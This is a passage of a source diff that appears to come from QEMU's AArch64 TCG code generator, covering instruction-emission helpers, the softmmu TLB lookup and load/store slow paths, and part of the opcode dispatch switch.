{ + wantinv += 1; + imask |= mask; + } + } + + /* If we had more 0xffff than 0x0000, invert VALUE and use MOVN. */ + insn = I3405_MOVZ; + if (wantinv > 0) { + value = ivalue; + insn = I3405_MOVN; + } + + /* Find the lowest lane that is not 0x0000. */ + shift = ctz64(value) & (63 & -16); + tcg_out_insn_3405(s, insn, type, rd, value >> shift, shift); + + if (wantinv > 0) { + /* Re-invert the value, so MOVK sees non-inverted bits. */ + value = ~value; + /* Clear out all the 0xffff lanes. */ + value ^= imask; + } + /* Clear out the lane that we just set. */ + value &= ~(0xffffUL << shift); + + /* Iterate until all lanes have been set, and thus cleared from VALUE. */ + while (value) { + shift = ctz64(value) & (63 & -16); + tcg_out_insn(s, 3405, MOVK, type, rd, value >> shift, shift); + value &= ~(0xffffUL << shift); + } +} + +/* Define something more legible for general use. */ +#define tcg_out_ldst_r tcg_out_insn_3310 + +static void tcg_out_ldst(TCGContext *s, AArch64Insn insn, + TCGReg rd, TCGReg rn, intptr_t offset) +{ + TCGMemOp size = (uint32_t)insn >> 30; + + /* If the offset is naturally aligned and in range, then we can + use the scaled uimm12 encoding */ + if (offset >= 0 && !(offset & ((1 << size) - 1))) { + uintptr_t scaled_uimm = offset >> size; + if (scaled_uimm <= 0xfff) { + tcg_out_insn_3313(s, insn, rd, rn, scaled_uimm); + return; + } + } + + /* Small signed offsets can use the unscaled encoding. */ + if (offset >= -256 && offset < 256) { + tcg_out_insn_3312(s, insn, rd, rn, offset); + return; + } + + /* Worst-case scenario, move offset to temp register, use reg offset. */ + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_TMP, offset); + tcg_out_ldst_r(s, insn, rd, rn, TCG_REG_TMP); +} + +static inline void tcg_out_mov(TCGContext *s, + TCGType type, TCGReg ret, TCGReg arg) +{ + if (ret != arg) { + tcg_out_movr(s, type, ret, arg); + } +} + +static inline void tcg_out_ld(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + tcg_out_ldst(s, type == TCG_TYPE_I32 ? I3312_LDRW : I3312_LDRX, + arg, arg1, arg2); +} + +static inline void tcg_out_st(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + tcg_out_ldst(s, type == TCG_TYPE_I32 ? I3312_STRW : I3312_STRX, + arg, arg1, arg2); +} + +static inline void tcg_out_bfm(TCGContext *s, TCGType ext, TCGReg rd, + TCGReg rn, unsigned int a, unsigned int b) +{ + tcg_out_insn(s, 3402, BFM, ext, rd, rn, ext, a, b); +} + +static inline void tcg_out_ubfm(TCGContext *s, TCGType ext, TCGReg rd, + TCGReg rn, unsigned int a, unsigned int b) +{ + tcg_out_insn(s, 3402, UBFM, ext, rd, rn, ext, a, b); +} + +static inline void tcg_out_sbfm(TCGContext *s, TCGType ext, TCGReg rd, + TCGReg rn, unsigned int a, unsigned int b) +{ + tcg_out_insn(s, 3402, SBFM, ext, rd, rn, ext, a, b); +} + +static inline void tcg_out_extr(TCGContext *s, TCGType ext, TCGReg rd, + TCGReg rn, TCGReg rm, unsigned int a) +{ + tcg_out_insn(s, 3403, EXTR, ext, rd, rn, rm, a); +} + +static inline void tcg_out_shl(TCGContext *s, TCGType ext, + TCGReg rd, TCGReg rn, unsigned int m) +{ + int bits = ext ? 64 : 32; + int max = bits - 1; + tcg_out_ubfm(s, ext, rd, rn, bits - (m & max), max - (m & max)); +} + +static inline void tcg_out_shr(TCGContext *s, TCGType ext, + TCGReg rd, TCGReg rn, unsigned int m) +{ + int max = ext ? 63 : 31; + tcg_out_ubfm(s, ext, rd, rn, m & max, max); +} + +static inline void tcg_out_sar(TCGContext *s, TCGType ext, + TCGReg rd, TCGReg rn, unsigned int m) +{ + int max = ext ? 63 : 31; + tcg_out_sbfm(s, ext, rd, rn, m & max, max); +} + +static inline void tcg_out_rotr(TCGContext *s, TCGType ext, + TCGReg rd, TCGReg rn, unsigned int m) +{ + int max = ext ? 63 : 31; + tcg_out_extr(s, ext, rd, rn, rn, m & max); +} + +static inline void tcg_out_rotl(TCGContext *s, TCGType ext, + TCGReg rd, TCGReg rn, unsigned int m) +{ + int bits = ext ? 64 : 32; + int max = bits - 1; + tcg_out_extr(s, ext, rd, rn, rn, bits - (m & max)); +} + +static inline void tcg_out_dep(TCGContext *s, TCGType ext, TCGReg rd, + TCGReg rn, unsigned lsb, unsigned width) +{ + unsigned size = ext ? 64 : 32; + unsigned a = (size - lsb) & (size - 1); + unsigned b = width - 1; + tcg_out_bfm(s, ext, rd, rn, a, b); +} + +static void tcg_out_cmp(TCGContext *s, TCGType ext, TCGReg a, + tcg_target_long b, bool const_b) +{ + if (const_b) { + /* Using CMP or CMN aliases. */ + if (b >= 0) { + tcg_out_insn(s, 3401, SUBSI, ext, TCG_REG_XZR, a, b); + } else { + tcg_out_insn(s, 3401, ADDSI, ext, TCG_REG_XZR, a, -b); + } + } else { + /* Using CMP alias SUBS wzr, Wn, Wm */ + tcg_out_insn(s, 3502, SUBS, ext, TCG_REG_XZR, a, b); + } +} + +static inline void tcg_out_goto(TCGContext *s, tcg_insn_unit *target) +{ + ptrdiff_t offset = target - s->code_ptr; + assert(offset == sextract64(offset, 0, 26)); + tcg_out_insn(s, 3206, B, offset); +} + +static inline void tcg_out_goto_noaddr(TCGContext *s) +{ + /* We pay attention here to not modify the branch target by reading from + the buffer. This ensure that caches and memory are kept coherent during + retranslation. Mask away possible garbage in the high bits for the + first translation, while keeping the offset bits for retranslation. */ + uint32_t old = tcg_in32(s); + tcg_out_insn(s, 3206, B, old); +} + +static inline void tcg_out_goto_cond_noaddr(TCGContext *s, TCGCond c) +{ + /* See comments in tcg_out_goto_noaddr. */ + uint32_t old = tcg_in32(s) >> 5; + tcg_out_insn(s, 3202, B_C, c, old); +} + +static inline void tcg_out_callr(TCGContext *s, TCGReg reg) +{ + tcg_out_insn(s, 3207, BLR, reg); +} + +static inline void tcg_out_call(TCGContext *s, tcg_insn_unit *target) +{ + ptrdiff_t offset = target - s->code_ptr; + if (offset == sextract64(offset, 0, 26)) { + tcg_out_insn(s, 3206, BL, offset); + } else { + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_TMP, (intptr_t)target); + tcg_out_callr(s, TCG_REG_TMP); + } +} + +void aarch64_tb_set_jmp_target(uintptr_t jmp_addr, uintptr_t addr) +{ + tcg_insn_unit *code_ptr = (tcg_insn_unit *)jmp_addr; + tcg_insn_unit *target = (tcg_insn_unit *)addr; + + reloc_pc26(code_ptr, target); + flush_icache_range(jmp_addr, jmp_addr + 4); +} + +static inline void tcg_out_goto_label(TCGContext *s, int label_index) +{ + TCGLabel *l = &s->labels[label_index]; + + if (!l->has_value) { + tcg_out_reloc(s, s->code_ptr, R_AARCH64_JUMP26, label_index, 0); + tcg_out_goto_noaddr(s); + } else { + tcg_out_goto(s, l->u.value_ptr); + } +} + +static void tcg_out_brcond(TCGContext *s, TCGMemOp ext, TCGCond c, TCGArg a, + TCGArg b, bool b_const, int label) +{ + TCGLabel *l = &s->labels[label]; + intptr_t offset; + bool need_cmp; + + if (b_const && b == 0 && (c == TCG_COND_EQ || c == TCG_COND_NE)) { + need_cmp = false; + } else { + need_cmp = true; + tcg_out_cmp(s, ext, a, b, b_const); + } + + if (!l->has_value) { + tcg_out_reloc(s, s->code_ptr, R_AARCH64_CONDBR19, label, 0); + offset = tcg_in32(s) >> 5; + } else { + offset = l->u.value_ptr - s->code_ptr; + assert(offset == sextract64(offset, 0, 19)); + } + + if (need_cmp) { + tcg_out_insn(s, 3202, B_C, c, offset); + } else if (c == TCG_COND_EQ) { + tcg_out_insn(s, 3201, CBZ, ext, a, offset); + } else { + tcg_out_insn(s, 3201, CBNZ, ext, a, offset); + } +} + +static inline void tcg_out_rev64(TCGContext *s, TCGReg rd, TCGReg rn) +{ + tcg_out_insn(s, 3507, REV64, TCG_TYPE_I64, rd, rn); +} + +static inline void tcg_out_rev32(TCGContext *s, TCGReg rd, TCGReg rn) +{ + tcg_out_insn(s, 3507, REV32, TCG_TYPE_I32, rd, rn); +} + +static inline void tcg_out_rev16(TCGContext *s, TCGReg rd, TCGReg rn) +{ + tcg_out_insn(s, 3507, REV16, TCG_TYPE_I32, rd, rn); +} + +static inline void tcg_out_sxt(TCGContext *s, TCGType ext, TCGMemOp s_bits, + TCGReg rd, TCGReg rn) +{ + /* Using ALIASes SXTB, SXTH, SXTW, of SBFM Xd, Xn, #0, #7|15|31 */ + int bits = (8 << s_bits) - 1; + tcg_out_sbfm(s, ext, rd, rn, 0, bits); +} + +static inline void tcg_out_uxt(TCGContext *s, TCGMemOp s_bits, + TCGReg rd, TCGReg rn) +{ + /* Using ALIASes UXTB, UXTH of UBFM Wd, Wn, #0, #7|15 */ + int bits = (8 << s_bits) - 1; + tcg_out_ubfm(s, 0, rd, rn, 0, bits); +} + +static void tcg_out_addsubi(TCGContext *s, int ext, TCGReg rd, + TCGReg rn, int64_t aimm) +{ + if (aimm >= 0) { + tcg_out_insn(s, 3401, ADDI, ext, rd, rn, aimm); + } else { + tcg_out_insn(s, 3401, SUBI, ext, rd, rn, -aimm); + } +} + +static inline void tcg_out_addsub2(TCGContext *s, int ext, TCGReg rl, + TCGReg rh, TCGReg al, TCGReg ah, + tcg_target_long bl, tcg_target_long bh, + bool const_bl, bool const_bh, bool sub) +{ + TCGReg orig_rl = rl; + AArch64Insn insn; + + if (rl == ah || (!const_bh && rl == bh)) { + rl = TCG_REG_TMP; + } + + if (const_bl) { + insn = I3401_ADDSI; + if ((bl < 0) ^ sub) { + insn = I3401_SUBSI; + bl = -bl; + } + tcg_out_insn_3401(s, insn, ext, rl, al, bl); + } else { + tcg_out_insn_3502(s, sub ? I3502_SUBS : I3502_ADDS, ext, rl, al, bl); + } + + insn = I3503_ADC; + if (const_bh) { + /* Note that the only two constants we support are 0 and -1, and + that SBC = rn + ~rm + c, so adc -1 is sbc 0, and vice-versa. */ + if ((bh != 0) ^ sub) { + insn = I3503_SBC; + } + bh = TCG_REG_XZR; + } else if (sub) { + insn = I3503_SBC; + } + tcg_out_insn_3503(s, insn, ext, rh, ah, bh); + + tcg_out_mov(s, ext, orig_rl, rl); +} + +#ifdef CONFIG_SOFTMMU +/* helper signature: helper_ret_ld_mmu(CPUState *env, target_ulong addr, + * int mmu_idx, uintptr_t ra) + */ +static void * const qemu_ld_helpers[16] = { + [MO_UB] = helper_ret_ldub_mmu, + [MO_LEUW] = helper_le_lduw_mmu, + [MO_LEUL] = helper_le_ldul_mmu, + [MO_LEQ] = helper_le_ldq_mmu, + [MO_BEUW] = helper_be_lduw_mmu, + [MO_BEUL] = helper_be_ldul_mmu, + [MO_BEQ] = helper_be_ldq_mmu, +}; + +/* helper signature: helper_ret_st_mmu(CPUState *env, target_ulong addr, + * uintxx_t val, int mmu_idx, uintptr_t ra) + */ +static void * const qemu_st_helpers[16] = { + [MO_UB] = helper_ret_stb_mmu, + [MO_LEUW] = helper_le_stw_mmu, + [MO_LEUL] = helper_le_stl_mmu, + [MO_LEQ] = helper_le_stq_mmu, + [MO_BEUW] = helper_be_stw_mmu, + [MO_BEUL] = helper_be_stl_mmu, + [MO_BEQ] = helper_be_stq_mmu, +}; + +static inline void tcg_out_adr(TCGContext *s, TCGReg rd, void *target) +{ + ptrdiff_t offset = tcg_pcrel_diff(s, target); + assert(offset == sextract64(offset, 0, 21)); + tcg_out_insn(s, 3406, ADR, rd, offset); +} + +static void tcg_out_qemu_ld_slow_path(TCGContext *s, TCGLabelQemuLdst *lb) +{ + TCGMemOp opc = lb->opc; + TCGMemOp size = opc & MO_SIZE; + + reloc_pc19(lb->label_ptr[0], s->code_ptr); + + tcg_out_mov(s, TCG_TYPE_I64, TCG_REG_X0, TCG_AREG0); + tcg_out_mov(s, TARGET_LONG_BITS == 64, TCG_REG_X1, lb->addrlo_reg); + tcg_out_movi(s, TCG_TYPE_I32, TCG_REG_X2, lb->mem_index); + tcg_out_adr(s, TCG_REG_X3, lb->raddr); + tcg_out_call(s, qemu_ld_helpers[opc & ~MO_SIGN]); + if (opc & MO_SIGN) { + tcg_out_sxt(s, lb->type, size, lb->datalo_reg, TCG_REG_X0); + } else { + tcg_out_mov(s, size == MO_64, lb->datalo_reg, TCG_REG_X0); + } + + tcg_out_goto(s, lb->raddr); +} + +static void tcg_out_qemu_st_slow_path(TCGContext *s, TCGLabelQemuLdst *lb) +{ + TCGMemOp opc = lb->opc; + TCGMemOp size = opc & MO_SIZE; + + reloc_pc19(lb->label_ptr[0], s->code_ptr); + + tcg_out_mov(s, TCG_TYPE_I64, TCG_REG_X0, TCG_AREG0); + tcg_out_mov(s, TARGET_LONG_BITS == 64, TCG_REG_X1, lb->addrlo_reg); + tcg_out_mov(s, size == MO_64, TCG_REG_X2, lb->datalo_reg); + tcg_out_movi(s, TCG_TYPE_I32, TCG_REG_X3, lb->mem_index); + tcg_out_adr(s, TCG_REG_X4, lb->raddr); + tcg_out_call(s, qemu_st_helpers[opc]); + tcg_out_goto(s, lb->raddr); +} + +static void add_qemu_ldst_label(TCGContext *s, bool is_ld, TCGMemOp opc, + TCGType ext, TCGReg data_reg, TCGReg addr_reg, + int mem_index, tcg_insn_unit *raddr, + tcg_insn_unit *label_ptr) +{ + TCGLabelQemuLdst *label = new_ldst_label(s); + + label->is_ld = is_ld; + label->opc = opc; + label->type = ext; + label->datalo_reg = data_reg; + label->addrlo_reg = addr_reg; + label->mem_index = mem_index; + label->raddr = raddr; + label->label_ptr[0] = label_ptr; +} + +/* Load and compare a TLB entry, emitting the conditional jump to the + slow path for the failure case, which will be patched later when finalizing + the slow path. Generated code returns the host addend in X1, + clobbers X0,X2,X3,TMP. */ +static void tcg_out_tlb_read(TCGContext *s, TCGReg addr_reg, TCGMemOp s_bits, + tcg_insn_unit **label_ptr, int mem_index, + bool is_read) +{ + TCGReg base = TCG_AREG0; + int tlb_offset = is_read ? + offsetof(CPUArchState, tlb_table[mem_index][0].addr_read) + : offsetof(CPUArchState, tlb_table[mem_index][0].addr_write); + + /* Extract the TLB index from the address into X0. + X0 = + addr_reg */ + tcg_out_ubfm(s, TARGET_LONG_BITS == 64, TCG_REG_X0, addr_reg, + TARGET_PAGE_BITS, TARGET_PAGE_BITS + CPU_TLB_BITS); + + /* Store the page mask part of the address and the low s_bits into X3. + Later this allows checking for equality and alignment at the same time. + X3 = addr_reg & (PAGE_MASK | ((1 << s_bits) - 1)) */ + tcg_out_logicali(s, I3404_ANDI, TARGET_LONG_BITS == 64, TCG_REG_X3, + addr_reg, TARGET_PAGE_MASK | ((1 << s_bits) - 1)); + + /* Add any "high bits" from the tlb offset to the env address into X2, + to take advantage of the LSL12 form of the ADDI instruction. + X2 = env + (tlb_offset & 0xfff000) */ + if (tlb_offset & 0xfff000) { + tcg_out_insn(s, 3401, ADDI, TCG_TYPE_I64, TCG_REG_X2, base, + tlb_offset & 0xfff000); + base = TCG_REG_X2; + } + + /* Merge the tlb index contribution into X2. + X2 = X2 + (X0 << CPU_TLB_ENTRY_BITS) */ + tcg_out_insn(s, 3502S, ADD_LSL, TCG_TYPE_I64, TCG_REG_X2, base, + TCG_REG_X0, CPU_TLB_ENTRY_BITS); + + /* Merge "low bits" from tlb offset, load the tlb comparator into X0. + X0 = load [X2 + (tlb_offset & 0x000fff)] */ + tcg_out_ldst(s, TARGET_LONG_BITS == 32 ? I3312_LDRW : I3312_LDRX, + TCG_REG_X0, TCG_REG_X2, tlb_offset & 0xfff); + + /* Load the tlb addend. Do that early to avoid stalling. + X1 = load [X2 + (tlb_offset & 0xfff) + offsetof(addend)] */ + tcg_out_ldst(s, I3312_LDRX, TCG_REG_X1, TCG_REG_X2, + (tlb_offset & 0xfff) + (offsetof(CPUTLBEntry, addend)) - + (is_read ? offsetof(CPUTLBEntry, addr_read) + : offsetof(CPUTLBEntry, addr_write))); + + /* Perform the address comparison. */ + tcg_out_cmp(s, (TARGET_LONG_BITS == 64), TCG_REG_X0, TCG_REG_X3, 0); + + /* If not equal, we jump to the slow path. */ + *label_ptr = s->code_ptr; + tcg_out_goto_cond_noaddr(s, TCG_COND_NE); +} + +#endif /* CONFIG_SOFTMMU */ + +static void tcg_out_qemu_ld_direct(TCGContext *s, TCGMemOp memop, TCGType ext, + TCGReg data_r, TCGReg addr_r, TCGReg off_r) +{ + const TCGMemOp bswap = memop & MO_BSWAP; + + switch (memop & MO_SSIZE) { + case MO_UB: + tcg_out_ldst_r(s, I3312_LDRB, data_r, addr_r, off_r); + break; + case MO_SB: + tcg_out_ldst_r(s, ext ? I3312_LDRSBX : I3312_LDRSBW, + data_r, addr_r, off_r); + break; + case MO_UW: + tcg_out_ldst_r(s, I3312_LDRH, data_r, addr_r, off_r); + if (bswap) { + tcg_out_rev16(s, data_r, data_r); + } + break; + case MO_SW: + if (bswap) { + tcg_out_ldst_r(s, I3312_LDRH, data_r, addr_r, off_r); + tcg_out_rev16(s, data_r, data_r); + tcg_out_sxt(s, ext, MO_16, data_r, data_r); + } else { + tcg_out_ldst_r(s, ext ? I3312_LDRSHX : I3312_LDRSHW, + data_r, addr_r, off_r); + } + break; + case MO_UL: + tcg_out_ldst_r(s, I3312_LDRW, data_r, addr_r, off_r); + if (bswap) { + tcg_out_rev32(s, data_r, data_r); + } + break; + case MO_SL: + if (bswap) { + tcg_out_ldst_r(s, I3312_LDRW, data_r, addr_r, off_r); + tcg_out_rev32(s, data_r, data_r); + tcg_out_sxt(s, TCG_TYPE_I64, MO_32, data_r, data_r); + } else { + tcg_out_ldst_r(s, I3312_LDRSWX, data_r, addr_r, off_r); + } + break; + case MO_Q: + tcg_out_ldst_r(s, I3312_LDRX, data_r, addr_r, off_r); + if (bswap) { + tcg_out_rev64(s, data_r, data_r); + } + break; + default: + tcg_abort(); + } +} + +static void tcg_out_qemu_st_direct(TCGContext *s, TCGMemOp memop, + TCGReg data_r, TCGReg addr_r, TCGReg off_r) +{ + const TCGMemOp bswap = memop & MO_BSWAP; + + switch (memop & MO_SIZE) { + case MO_8: + tcg_out_ldst_r(s, I3312_STRB, data_r, addr_r, off_r); + break; + case MO_16: + if (bswap && data_r != TCG_REG_XZR) { + tcg_out_rev16(s, TCG_REG_TMP, data_r); + data_r = TCG_REG_TMP; + } + tcg_out_ldst_r(s, I3312_STRH, data_r, addr_r, off_r); + break; + case MO_32: + if (bswap && data_r != TCG_REG_XZR) { + tcg_out_rev32(s, TCG_REG_TMP, data_r); + data_r = TCG_REG_TMP; + } + tcg_out_ldst_r(s, I3312_STRW, data_r, addr_r, off_r); + break; + case MO_64: + if (bswap && data_r != TCG_REG_XZR) { + tcg_out_rev64(s, TCG_REG_TMP, data_r); + data_r = TCG_REG_TMP; + } + tcg_out_ldst_r(s, I3312_STRX, data_r, addr_r, off_r); + break; + default: + tcg_abort(); + } +} + +static void tcg_out_qemu_ld(TCGContext *s, TCGReg data_reg, TCGReg addr_reg, + TCGMemOp memop, TCGType ext, int mem_index) +{ +#ifdef CONFIG_SOFTMMU + TCGMemOp s_bits = memop & MO_SIZE; + tcg_insn_unit *label_ptr; + + tcg_out_tlb_read(s, addr_reg, s_bits, &label_ptr, mem_index, 1); + tcg_out_qemu_ld_direct(s, memop, ext, data_reg, addr_reg, TCG_REG_X1); + add_qemu_ldst_label(s, true, memop, ext, data_reg, addr_reg, + mem_index, s->code_ptr, label_ptr); +#else /* !CONFIG_SOFTMMU */ + tcg_out_qemu_ld_direct(s, memop, ext, data_reg, addr_reg, + GUEST_BASE ? TCG_REG_GUEST_BASE : TCG_REG_XZR); +#endif /* CONFIG_SOFTMMU */ +} + +static void tcg_out_qemu_st(TCGContext *s, TCGReg data_reg, TCGReg addr_reg, + TCGMemOp memop, int mem_index) +{ +#ifdef CONFIG_SOFTMMU + TCGMemOp s_bits = memop & MO_SIZE; + tcg_insn_unit *label_ptr; + + tcg_out_tlb_read(s, addr_reg, s_bits, &label_ptr, mem_index, 0); + tcg_out_qemu_st_direct(s, memop, data_reg, addr_reg, TCG_REG_X1); + add_qemu_ldst_label(s, false, memop, s_bits == MO_64, data_reg, addr_reg, + mem_index, s->code_ptr, label_ptr); +#else /* !CONFIG_SOFTMMU */ + tcg_out_qemu_st_direct(s, memop, data_reg, addr_reg, + GUEST_BASE ? TCG_REG_GUEST_BASE : TCG_REG_XZR); +#endif /* CONFIG_SOFTMMU */ +} + +static tcg_insn_unit *tb_ret_addr; + +static void tcg_out_op(TCGContext *s, TCGOpcode opc, + const TCGArg args[TCG_MAX_OP_ARGS], + const int const_args[TCG_MAX_OP_ARGS]) +{ + /* 99% of the time, we can signal the use of extension registers + by looking to see if the opcode handles 64-bit data. */ + TCGType ext = (s->tcg_op_defs[opc].flags & TCG_OPF_64BIT) != 0; + + /* Hoist the loads of the most common arguments. */ + TCGArg a0 = args[0]; + TCGArg a1 = args[1]; + TCGArg a2 = args[2]; + int c2 = const_args[2]; + + /* Some operands are defined with "rZ" constraint, a register or + the zero register. These need not actually test args[I] == 0. */ +#define REG0(I) (const_args[I] ? TCG_REG_XZR : (TCGReg)args[I]) + + switch (opc) { + case INDEX_op_exit_tb: + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_X0, a0); + tcg_out_goto(s, tb_ret_addr); + break; + + case INDEX_op_goto_tb: +#ifndef USE_DIRECT_JUMP +#error "USE_DIRECT_JUMP required for aarch64" +#endif + assert(s->tb_jmp_offset != NULL); /* consistency for USE_DIRECT_JUMP */ + s->tb_jmp_offset[a0] = tcg_current_code_size(s); + /* actual branch destination will be patched by + aarch64_tb_set_jmp_target later, beware retranslation. */ + tcg_out_goto_noaddr(s); + s->tb_next_offset[a0] = tcg_current_code_size(s); + break; + + case INDEX_op_br: + tcg_out_goto_label(s, a0); + break; + + case INDEX_op_ld8u_i32: + case INDEX_op_ld8u_i64: + tcg_out_ldst(s, I3312_LDRB, a0, a1, a2); + break; + case INDEX_op_ld8s_i32: + tcg_out_ldst(s, I3312_LDRSBW, a0, a1, a2); + break; + case INDEX_op_ld8s_i64: + tcg_out_ldst(s, I3312_LDRSBX, a0, a1, a2); + break; + case INDEX_op_ld16u_i32: + case INDEX_op_ld16u_i64: + tcg_out_ldst(s, I3312_LDRH, a0, a1, a2); + break; + case INDEX_op_ld16s_i32: + tcg_out_ldst(s, I3312_LDRSHW, a0, a1, a2); + break; + case INDEX_op_ld16s_i64: + tcg_out_ldst(s, I3312_LDRSHX, a0, a1, a2); + break; + case INDEX_op_ld_i32: + case INDEX_op_ld32u_i64: + tcg_out_ldst(s, I3312_LDRW, a0, a1, a2); + break; + case INDEX_op_ld32s_i64: + tcg_out_ldst(s, I3312_LDRSWX, a0, a1, a2); + break; + case INDEX_op_ld_i64: + tcg_out_ldst(s, I3312_LDRX, a0, a1, a2); + break; + + case INDEX_op_st8_i32: + case INDEX_op_st8_i64: + tcg_out_ldst(s, I3312_STRB, REG0(0), a1, a2); + break; + case INDEX_op_st16_i32: + case INDEX_op_st16_i64: + tcg_out_ldst(s, I3312_STRH, REG0(0), a1, a2); + break; + case INDEX_op_st_i32: + case INDEX_op_st32_i64: + tcg_out_ldst(s, I3312_STRW, REG0(0), a1, a2); + break; + case INDEX_op_st_i64: + tcg_out_ldst(s, I3312_STRX, REG0(0), a1, a2); + break; + + case INDEX_op_add_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_add_i64: + if (c2) { + tcg_out_addsubi(s, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3502, ADD, ext, a0, a1, a2); + } + break; + + case INDEX_op_sub_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_sub_i64: + if (c2) { + tcg_out_addsubi(s, ext, a0, a1, -a2); + } else { + tcg_out_insn(s, 3502, SUB, ext, a0, a1, a2); + } + break; + + case INDEX_op_neg_i64: + case INDEX_op_neg_i32: + tcg_out_insn(s, 3502, SUB, ext, a0, TCG_REG_XZR, a1); + break; + + case INDEX_op_and_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_and_i64: + if (c2) { + tcg_out_logicali(s, I3404_ANDI, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3510, AND, ext, a0, a1, a2); + } + break; + + case INDEX_op_andc_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_andc_i64: + if (c2) { + tcg_out_logicali(s, I3404_ANDI, ext, a0, a1, ~a2); + } else { + tcg_out_insn(s, 3510, BIC, ext, a0, a1, a2); + } + break; + + case INDEX_op_or_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_or_i64: + if (c2) { + tcg_out_logicali(s, I3404_ORRI, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3510, ORR, ext, a0, a1, a2); + } + break; + + case INDEX_op_orc_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_orc_i64: + if (c2) { + tcg_out_logicali(s, I3404_ORRI, ext, a0, a1, ~a2); + } else { + tcg_out_insn(s, 3510, ORN, ext, a0, a1, a2); + } + break; + + case INDEX_op_xor_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_xor_i64: + if (c2) { + tcg_out_logicali(s, I3404_EORI, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3510, EOR, ext, a0, a1, a2); + } + break; + + case INDEX_op_eqv_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_eqv_i64: + if (c2) { + tcg_out_logicali(s, I3404_EORI, ext, a0, a1, ~a2); + } else { + tcg_out_insn(s, 3510, EON, ext, a0, a1, a2); + } + break; + + case INDEX_op_not_i64: + case INDEX_op_not_i32: + tcg_out_insn(s, 3510, ORN, ext, a0, TCG_REG_XZR, a1); + break; + + case INDEX_op_mul_i64: + case INDEX_op_mul_i32: + tcg_out_insn(s, 3509, MADD, ext, a0, a1, a2, TCG_REG_XZR); + break; + + case INDEX_op_div_i64: + case INDEX_op_div_i32: + tcg_out_insn(s, 3508, SDIV, ext, a0, a1, a2); + break; + case INDEX_op_divu_i64: + case INDEX_op_divu_i32: + tcg_out_insn(s, 3508, UDIV, ext, a0, a1, a2); + break; + + case INDEX_op_rem_i64: + case INDEX_op_rem_i32: + tcg_out_insn(s, 3508, SDIV, ext, TCG_REG_TMP, a1, a2); + tcg_out_insn(s, 3509, MSUB, ext, a0, TCG_REG_TMP, a2, a1); + break; + case INDEX_op_remu_i64: + case INDEX_op_remu_i32: + tcg_out_insn(s, 3508, UDIV, ext, TCG_REG_TMP, a1, a2); + tcg_out_insn(s, 3509, MSUB, ext, a0, TCG_REG_TMP, a2, a1); + break; + + case INDEX_op_shl_i64: + case INDEX_op_shl_i32: + if (c2) { + tcg_out_shl(s, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3508, LSLV, ext, a0, a1, a2); + } + break; + + case INDEX_op_shr_i64: + case INDEX_op_shr_i32: + if (c2) { + tcg_out_shr(s, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3508, LSRV, ext, a0, a1, a2); + } + break; + + case INDEX_op_sar_i64: + case INDEX_op_sar_i32: + if (c2) { + tcg_out_sar(s, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3508, ASRV, ext, a0, a1, a2); + } + break; + + case INDEX_op_rotr_i64: + case INDEX_op_rotr_i32: + if (c2) { + tcg_out_rotr(s, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3508, RORV, ext, a0, a1, a2); + } + break; + + case INDEX_op_rotl_i64: + case INDEX_op_rotl_i32: + if (c2) { + tcg_out_rotl(s, ext, a0, a1, a2); + } else { + tcg_out_insn(s, 3502, SUB, 0, TCG_REG_TMP, TCG_REG_XZR, a2); + tcg_out_insn(s, 3508, RORV, ext, a0, a1, TCG_REG_TMP); + } + break; + + case INDEX_op_brcond_i32: + a1 = (int32_t)a1; + /* FALLTHRU */ + case INDEX_op_brcond_i64: + tcg_out_brcond(s, ext, a2, a0, a1, const_args[1], args[3]); + break; + + case INDEX_op_setcond_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_setcond_i64: + tcg_out_cmp(s, ext, a1, a2, c2); + /* Use CSET alias of CSINC Wd, WZR, WZR, invert(cond). */ + tcg_out_insn(s, 3506, CSINC, TCG_TYPE_I32, a0, TCG_REG_XZR, + TCG_REG_XZR, tcg_invert_cond(args[3])); + break; + + case INDEX_op_movcond_i32: + a2 = (int32_t)a2; + /* FALLTHRU */ + case INDEX_op_movcond_i64: + tcg_out_cmp(s, ext, a1, a2, c2); + tcg_out_insn(s, 3506, CSEL, ext, a0, REG0(3), REG0(4), args[5]); + break; + + case INDEX_op_qemu_ld_i32: + case INDEX_op_qemu_ld_i64: + tcg_out_qemu_ld(s, a0, a1, a2, ext, args[3]); + break; + case INDEX_op_qemu_st_i32: + case INDEX_op_qemu_st_i64: + tcg_out_qemu_st(s, REG0(0), a1, a2, args[3]); + break; + + case INDEX_op_bswap64_i64: + tcg_out_rev64(s, a0, a1); + break; + case INDEX_op_bswap32_i64: + case INDEX_op_bswap32_i32: + tcg_out_rev32(s, a0, a1); + break; + case INDEX_op_bswap16_i64: + case INDEX_op_bswap16_i32: + tcg_out_rev16(s, a0, a1); + break; + + case INDEX_op_ext8s_i64: + case INDEX_op_ext8s_i32: + tcg_out_sxt(s, ext, MO_8, a0, a1); + break; + case INDEX_op_ext16s_i64: + case INDEX_op_ext16s_i32: + tcg_out_sxt(s, ext, MO_16, a0, a1); + break; + case INDEX_op_ext32s_i64: + tcg_out_sxt(s, TCG_TYPE_I64, MO_32, a0, a1); + break; + case INDEX_op_ext8u_i64: + case INDEX_op_ext8u_i32: + tcg_out_uxt(s, MO_8, a0, a1); + break; + case INDEX_op_ext16u_i64: + case INDEX_op_ext16u_i32: + tcg_out_uxt(s, MO_16, a0, 